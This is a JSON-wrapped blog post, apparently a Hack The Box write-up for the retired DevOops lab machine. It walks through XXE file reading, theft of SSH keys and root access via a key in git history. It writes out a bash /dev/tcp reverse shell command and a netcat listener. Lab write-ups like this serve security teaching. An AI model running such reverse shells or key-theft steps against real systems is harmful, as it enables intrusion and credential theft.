{"id":162,"date":"2018-10-16T21:54:16","date_gmt":"2018-10-16T21:54:16","guid":{"rendered":"https:\/\/zineausa.com\/blog\/?p=162"},"modified":"2018-10-16T21:54:16","modified_gmt":"2018-10-16T21:54:16","slug":"hackthebox-devoops-writeup","status":"publish","type":"post","link":"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-devoops-writeup\/","title":{"rendered":"Hackthebox &#8211; DevOops Writeup"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/devoops.png\" alt=\"\" width=\"386\" height=\"130\" class=\"alignnone size-full wp-image-163\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/devoops.png 386w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/devoops-300x101.png 300w\" sizes=\"auto, (max-width: 386px) 100vw, 386px\" \/><\/p>\n<p>This is a writeup for the DevOops machine on <a href=\"http:\/\/hackthebox.eu\">hackthebox.eu<\/a> which was retired on 10\/13\/18!<\/p>\n<p>First, enumerate! Let&#8217;s try the custom python enumeration script a friend of ours made:<br \/>\nhttps:\/\/github.com\/vishalb2308\/Pentest-Enumeration-Script\/blob\/master\/EnumScript.py<\/p>\n<p>The nmap part of the script indicates that:<br \/>\n<code>ports 22 and 5000 are open<br \/>\nssh is on 22 and supports publickey and password authentication<br \/>\nServer is Linux CPE OS, x86.<\/code><\/p>\n<p>dirb shows:<br \/>\n5000 is serving http for \/feed and \/upload<\/p>\n<p>ok going to 10.10.10.91:5000\/feed gives us an image with nothing much else.<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-09-01-20-47.png\" alt=\"\" width=\"1920\" height=\"1080\" class=\"alignnone size-full wp-image-165\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-09-01-20-47.png 1920w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-09-01-20-47-600x338.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-09-01-20-47-300x169.png 300w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-09-01-20-47-768x432.png 768w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-09-01-20-47-1024x576.png 1024w\" sizes=\"auto, (max-width: 1920px) 100vw, 1920px\" \/><\/p>\n<p>going to \/upload gets us a page that says &#8220;send feed with XML&#8221; and allows us to upload &#8211; ok we will upload stuff \ud83d\ude42<\/p>\n<p>Googling for xml injection exploits gets us this page:<br \/>\n<a href=\"https:\/\/depthsecurity.com\/blog\/exploitation-xml-external-entity-xxe-injection\">https:\/\/depthsecurity.com\/blog\/exploitation-xml-external-entity-xxe-injection<\/a><\/p>\n<p>We get local file inclusion by uploading the following .xml script:<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/xml1.png\" alt=\"\" width=\"375\" height=\"177\" class=\"alignnone size-full wp-image-172\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/xml1.png 375w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/xml1-300x142.png 300w\" sizes=\"auto, (max-width: 375px) 100vw, 375px\" \/><\/p>\n<p>The interesting users found with this are:<br \/>\n<code>root:x:0:0:root:\/root:\/bin\/bash<br \/>\nroosa:x:1002:1002:,,,:\/home\/roosa:\/bin\/bash <\/code><\/p>\n<p>Let&#8217;s go ahead and get the user flag with this approach, so we upload the following .xml file:<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/xml2.png\" alt=\"\" width=\"453\" height=\"164\" class=\"alignnone size-full wp-image-173\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/xml2.png 453w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/xml2-300x109.png 300w\" sizes=\"auto, (max-width: 453px) 100vw, 453px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-09-03-09-19v3.png\" alt=\"\" width=\"1538\" height=\"218\" class=\"alignnone size-full wp-image-182\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-09-03-09-19v3.png 1538w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-09-03-09-19v3-600x85.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-09-03-09-19v3-300x43.png 300w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-09-03-09-19v3-768x109.png 768w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-09-03-09-19v3-1024x145.png 1024w\" sizes=\"auto, (max-width: 1538px) 100vw, 1538px\" \/><\/p>\n<p><strong>Next, let&#8217;s work on getting the root flag:<\/strong><br \/>\nwe found this page about getting SSH credentials via LFI:<a href=\"https:\/\/digi.ninja\/blog\/when_all_you_can_do_is_read.php\">https:\/\/digi.ninja\/blog\/when_all_you_can_do_is_read.php<\/a><\/p>\n<p>Therefore, we use the following code to dump the ssh creds to roosa:<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/xml3.png\" alt=\"\" width=\"486\" height=\"163\" class=\"alignnone size-full wp-image-174\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/xml3.png 486w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/xml3-300x101.png 300w\" sizes=\"auto, (max-width: 486px) 100vw, 486px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-00-53-47v2.png\" alt=\"\" width=\"1900\" height=\"454\" class=\"alignnone size-full wp-image-181\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-00-53-47v2.png 1900w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-00-53-47v2-600x143.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-00-53-47v2-300x72.png 300w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-00-53-47v2-768x184.png 768w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-00-53-47v2-1024x245.png 1024w\" sizes=\"auto, (max-width: 1900px) 100vw, 1900px\" \/><\/p>\n<p>This gets us the RSA key so we save that on our kali machine as id_rsa<br \/>\nwe then need to chmod the key:<br \/>\n<code>chmod 600 id_rsa<\/code><\/p>\n<p>and then log in with it:<br \/>\n<code>ssh roosa@10.10.10.91 -i id_rsa<\/code><\/p>\n<p>We do a reverse nc shell because it&#8217;s a bit slow on ssh for some reason:<br \/>\nwe run the following on kali: <code>nc -lvnp 7734<\/code><br \/>\nand this on the victim: <code>\/bin\/bash -i >& \/dev\/tcp\/10.10.14.5\/7734 0>&1<\/code><\/p>\n<p>we found a git directory here:<br \/>\n~\/work\/blogfeed\/<\/p>\n<p>so we run the following command:<br \/>\n<code>git log -p<\/code><br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-14-00-00-1.png\" alt=\"\" width=\"1004\" height=\"1045\" class=\"alignnone size-full wp-image-185\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-14-00-00-1.png 1004w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-14-00-00-1-600x625.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-14-00-00-1-288x300.png 288w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-14-00-00-1-768x799.png 768w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-14-00-00-1-984x1024.png 984w\" sizes=\"auto, (max-width: 1004px) 100vw, 1004px\" \/><\/p>\n<p>which shows another SSH key that is different from Roosa&#8217;s<\/p>\n<p>we save this one as auth2.key<br \/>\nand we login to root with<br \/>\n<code>ssh root@10.10.10.91 -i auth2.key<\/code><\/p>\n<p>This gives us the root flag and we are done!<br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-13-58-58-1.png\" alt=\"\" width=\"642\" height=\"291\" class=\"alignnone size-full wp-image-183\" srcset=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-13-58-58-1.png 642w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-13-58-58-1-600x272.png 600w, https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/Screenshot-from-2018-08-10-13-58-58-1-300x136.png 300w\" sizes=\"auto, (max-width: 642px) 100vw, 642px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is a writeup for the DevOops machine on hackthebox.eu which was retired on 10\/13\/18! First, enumerate! Let&#8217;s try the custom python enumeration script a friend of ours made: https:\/\/github.com\/vishalb2308\/Pentest-Enumeration-Script\/blob\/master\/EnumScript.py The nmap part of the script indicates that: ports 22 and 5000 are open ssh is on 22 and supports publickey and password authentication Server [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,6],"tags":[],"class_list":["post-162","post","type-post","status-publish","format-standard","hentry","category-hackthebox","category-writeups"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Hackthebox - DevOops Writeup - Zinea InfoSec Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-devoops-writeup\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Hackthebox - DevOops Writeup - Zinea InfoSec Blog\" \/>\n<meta property=\"og:description\" content=\"This is a writeup for the DevOops machine on hackthebox.eu which was retired on 10\/13\/18! First, enumerate! Let&#8217;s try the custom python enumeration script a friend of ours made: https:\/\/github.com\/vishalb2308\/Pentest-Enumeration-Script\/blob\/master\/EnumScript.py The nmap part of the script indicates that: ports 22 and 5000 are open ssh is on 22 and supports publickey and password authentication Server [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zineausa.com\/blog\/2018\/10\/hackthebox-devoops-writeup\/\" \/>\n<meta property=\"og:site_name\" content=\"Zinea InfoSec Blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/zineausa\/\" \/>\n<meta property=\"article:published_time\" content=\"2018-10-16T21:54:16+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/zineausa.com\/blog\/wp-content\/uploads\/2018\/10\/devoops.png\" \/>\n<meta name=\"author\" content=\"Zinea\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@ZineaLLC\" \/>\n<meta name=\"twitter:site\" content=\"@ZineaLLC\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Zinea\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-devoops-writeup\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/2018\\\/10\\\/hackthebox-devoops-writeup\\\/\"},\"author\":{\"name\":\"Zinea\",\"@id\":\"https:\\\/\\\/zineausa.com\\\/blog\\\/#\\\/schema\\\/person\\\/e3c58d4f0650f7fb571c01fcf836b1d0\"},\"headline\":\"Hackthebox &#8211; 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